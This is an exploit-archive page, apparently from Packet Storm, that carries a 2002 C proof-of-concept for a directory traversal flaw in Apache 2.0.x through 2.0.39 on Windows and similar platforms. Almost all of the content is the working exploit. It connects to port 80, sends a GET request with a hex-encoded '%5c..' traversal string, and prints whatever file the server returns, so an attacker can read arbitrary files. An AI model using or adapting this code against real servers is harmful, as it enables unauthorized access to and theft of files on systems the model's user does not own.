evolve or die

DSR-apache2.0x.c

DSR-apache2.0x.c
Posted Aug 29, 2002
Authored by Bob, dsr | Site dtors.net

This Proof of Concept exploit for the current directory traversal design flaw in apache 2.0.x - 2.0.39 allows any attacker to view any file on the target machine. Original vulnerability found by Luigi Auriemma. Affected Systems: Windows [win32], Netware, OS2, Cygwin.

tags | exploit, proof of concept
systems | windows, 32
MD5 | 2ba457a832be506c17d2c9da5e1d72ab

DSR-apache2.0x.c

Change Mirror Download
/*
* DSR-apache2.0x by bob@dtors.net
* Exploit found by Auriemma Luigi.
*
* This is Proof on Concept exploit for
* the current directory traversal design flaw
* in apache 2.0.x - 2.0.39.
*
* Affected Systems:
*
* Windows [win32]
* Netware
* OS2
* Cygwin
*
* This exploit allows the attacker to view ANY
* file on the target machine if it is vulnerable
* to this attack.
*
*/

#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#define bs "%5c"
char travcode[]=
"\x25\x35\x63\x25\x32\x65\x25\x32\x65"
"\x25\x35\x63\x25\x32\x65\x25\x32\x65"
"\x25\x35\x63\x25\x32\x65\x25\x32\x65"
"\x25\x35\x63\x25\x32\x65\x25\x32\x65"
"\x25\x35\x63\x25\x32\x65\x25\x32\x65"
"\x25\x35\x63";


void reply(int sock);


void reply(int sock)
{


int n;
char recvbuf[1024];
fd_set rset;


while (1) {
FD_ZERO(&rset);
FD_SET(sock,&rset);
FD_SET(STDIN_FILENO,&rset);
select(sock+1,&rset,NULL,NULL,NULL);

if (FD_ISSET(sock,&rset)) {
if((n=read(sock,recvbuf,1024)) <= 0) {
printf("Connection closed by foreign ghost.\n");
exit(0);
}

recvbuf[n]=0;
printf("%s",recvbuf);
}

if (FD_ISSET(STDIN_FILENO,&rset)) {
if((n=read(STDIN_FILENO,recvbuf,1024)) > 0) {
recvbuf[n]=0;
//write(sock,recvbuf,n);
}
}
}
}



int main(int argc, char *argv[]) {

int sock;
char exp[1024];
struct in_addr addr;
struct sockaddr_in sin;
struct hostent *he;


fprintf(stdout, "\n\tDSR-apache2.0x.c By bob.\n");
fprintf(stdout, "Proof Of Concept Code for Apache 2.0.x 2.0.39\n");
fprintf(stdout, "\tDSR-[www.dtors.net]-DSR\n");

if(argc<4)
{
fprintf(stderr, "\nUsage : %s <host> <dir> <file>\n\n", argv[0]);
exit(1);
}



if ((he=gethostbyname(argv[1])) == NULL)
{
fprintf(stderr, "Cumon! Gimme some socks to put on!\n\n");
exit(1);
}

/* A fresh pair of clean socks ;) */

sock=socket(AF_INET, SOCK_STREAM, 0);
bcopy(he->h_addr, (char *)&sin.sin_addr, he->h_length);
sin.sin_family=AF_INET;
sin.sin_port=htons(80);

/* yummy fresh smelling */

fprintf(stdout, "Hold up bish connecting to host... \n");
if (connect(sock, (struct sockaddr*)&sin, sizeof(sin))!=0)
{
fprintf(stderr, "My socks are all sweaty.\n");
exit(1);
}

else {
/* im exhausted after that...gn */
sleep(3);



sprintf(exp, "GET /error/%s%s%s%s HTTP/1.1\r\nHost: %s\r\n\r\n" ,travcode, argv[2], bs, argv[3], argv[1]);
write(sock,exp,strlen(exp));

fprintf(stdout, "This is not going to be pritty.\nIm a lion here me ROAR!\n\n");
reply(sock);

close(sock);
exit (0);

}

}











Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close